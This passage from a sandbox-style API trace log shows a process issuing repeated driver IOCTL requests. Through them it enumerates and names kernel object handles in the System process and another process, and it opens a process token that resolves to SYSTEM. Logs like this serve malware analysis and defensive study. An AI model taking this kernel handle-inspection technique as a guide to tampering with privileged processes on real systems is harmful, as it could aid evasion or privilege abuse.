Object=0xfffff88005000548*=0xfffffa8002921f20, HandleInformation=0x0) returned 0x0 [0130.375] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.375] PsReleaseProcessExitSynchronization () returned 0x2 [0130.375] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.375] ObQueryNameString (in: Object=0xfffffa8002921f20, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.375] ObfDereferenceObject (Object=0xfffffa8002921f20) returned 0x2 [0130.375] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.375] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.375] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.375] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.375] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.375] PsAcquireProcessExitSynchronization () returned 0x0 [0130.375] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.375] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800219eac0, HandleInformation=0x0) returned 0x0 [0130.375] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.375] PsReleaseProcessExitSynchronization () returned 0x2 [0130.375] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.375] ObQueryNameString (in: Object=0xfffffa800219eac0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.375] ObfDereferenceObject (Object=0xfffffa800219eac0) returned 0x2 [0130.375] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.376] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.376] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.376] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.376] PsAcquireProcessExitSynchronization () returned 0x0 [0130.376] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.376] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800374d660, HandleInformation=0x0) returned 0x0 [0130.376] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.376] PsReleaseProcessExitSynchronization () returned 0x2 [0130.376] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.376] ObQueryNameString (in: Object=0xfffffa800374d660, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.376] ObfDereferenceObject (Object=0xfffffa800374d660) returned 0x2 [0130.376] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.376] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.376] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.376] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.376] PsAcquireProcessExitSynchronization () returned 0x0 [0130.376] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.376] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800231d680, HandleInformation=0x0) returned 0x0 [0130.376] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.376] PsReleaseProcessExitSynchronization () returned 0x2 [0130.376] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.376] ObQueryNameString (in: Object=0xfffffa800231d680, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.376] ObfDereferenceObject (Object=0xfffffa800231d680) returned 0x2 [0130.376] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.376] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.376] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.376] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.376] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.376] PsAcquireProcessExitSynchronization () returned 0x0 [0130.376] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.376] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800359a050, HandleInformation=0x0) returned 0x0 [0130.376] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.376] PsReleaseProcessExitSynchronization () returned 0x2 [0130.376] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.377] ObQueryNameString (in: Object=0xfffffa800359a050, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.377] ObfDereferenceObject (Object=0xfffffa800359a050) returned 0x2 [0130.377] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.377] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.377] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.377] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.377] PsAcquireProcessExitSynchronization () returned 0x0 [0130.377] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.377] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003897f20, HandleInformation=0x0) returned 0x0 [0130.377] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.377] PsReleaseProcessExitSynchronization () returned 0x2 [0130.377] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.377] ObQueryNameString (in: Object=0xfffffa8003897f20, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.377] ObfDereferenceObject (Object=0xfffffa8003897f20) returned 0x2 [0130.377] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.377] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.377] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.377] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.377] PsAcquireProcessExitSynchronization () returned 0x0 [0130.377] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.377] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022f96b0, HandleInformation=0x0) returned 0x0 [0130.377] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.377] PsReleaseProcessExitSynchronization () returned 0x2 [0130.377] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.377] ObQueryNameString (in: Object=0xfffffa80022f96b0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.377] ObfDereferenceObject (Object=0xfffffa80022f96b0) returned 0x2 [0130.377] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.377] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.377] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.377] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.377] PsAcquireProcessExitSynchronization () returned 0x0 [0130.378] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.378] ObReferenceObjectByHandle (in: Handle=0xffffffff80000be0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002616420, HandleInformation=0x0) returned 0x0 [0130.378] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.378] PsReleaseProcessExitSynchronization () returned 0x2 [0130.378] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.378] ObQueryNameString (in: Object=0xfffffa8002616420, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.378] ObfDereferenceObject (Object=0xfffffa8002616420) returned 0x2 [0130.378] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.378] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.378] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.378] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.378] PsAcquireProcessExitSynchronization () returned 0x0 [0130.378] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.378] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001fa5900, HandleInformation=0x0) returned 0x0 [0130.378] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.378] PsReleaseProcessExitSynchronization () returned 0x2 [0130.378] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.378] ObQueryNameString (in: Object=0xfffffa8001fa5900, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.378] ObfDereferenceObject (Object=0xfffffa8001fa5900) returned 0x2 [0130.378] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.378] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.378] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.378] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.378] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.378] PsAcquireProcessExitSynchronization () returned 0x0 [0130.378] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.378] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002142cb0, HandleInformation=0x0) returned 0x0 [0130.378] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.378] PsReleaseProcessExitSynchronization () returned 0x2 [0130.378] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.378] ObQueryNameString (in: Object=0xfffffa8002142cb0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.379] ObfDereferenceObject (Object=0xfffffa8002142cb0) returned 0x2 [0130.379] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.379] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.379] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.379] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.379] PsAcquireProcessExitSynchronization () returned 0x0 [0130.379] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.379] ObReferenceObjectByHandle (in: Handle=0xffffffff80000bfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002142a10, HandleInformation=0x0) returned 0x0 [0130.379] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.379] PsReleaseProcessExitSynchronization () returned 0x2 [0130.379] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.379] ObQueryNameString (in: Object=0xfffffa8002142a10, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.379] ObfDereferenceObject (Object=0xfffffa8002142a10) returned 0x2 [0130.379] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.379] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.379] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0xc0 [0130.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0130.379] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002b79b30, HandleInformation=0x0) returned 0x0 [0130.379] ObOpenObjectByPointer (in: Object=0xfffffa8002b79b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800006a4) returned 0x0 [0130.379] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0130.379] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006a4, DesiredAccess=0x8, TokenHandle=0xfffffa80027fcc80 | out: TokenHandle=0xfffffa80027fcc80*=0xc8) returned 0x0 [0130.379] ZwClose (Handle=0xffffffff800006a4) returned 0x0 [0130.379] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.379] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0130.379] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0130.381] CloseHandle (hObject=0xc8) returned 1 [0130.381] CloseHandle (hObject=0xc0) returned 1 [0130.381] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0130.381] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.381] PsAcquireProcessExitSynchronization () returned 0x0 [0130.381] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.444] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80050497e0, HandleInformation=0x0) returned 0x0 [0130.444] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.444] PsReleaseProcessExitSynchronization () returned 0x2 [0130.444] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.444] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0130.444] ObfDereferenceObject (Object=0xfffffa80050497e0) returned 0x1 [0130.444] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.444] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.444] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.444] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0130.444] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.444] PsAcquireProcessExitSynchronization () returned 0x0 [0130.444] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.447] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8007591420, HandleInformation=0x0) returned 0x0 [0130.447] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.447] PsReleaseProcessExitSynchronization () returned 0x2 [0130.447] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.447] ObQueryNameString (in: Object=0xfffffa8007591420, ObjectNameInfo=0xfffffa8003989044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003989044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.448] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0130.448] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.448] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.448] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.448] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0130.448] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.448] PsAcquireProcessExitSynchronization () returned 0x0 [0130.448] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.494] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0130.494] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.494] PsReleaseProcessExitSynchronization () returned 0x2 [0130.494] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.494] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa8003950044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003950044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.494] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0130.494] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.494] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.494] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0130.495] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.495] PsAcquireProcessExitSynchronization () returned 0x0 [0130.495] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880050005d0) [0130.587] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0130.587] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.587] PsReleaseProcessExitSynchronization () returned 0x2 [0130.587] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0130.587] ObQueryNameString (in: Object=0xfffffa800483e9b0, 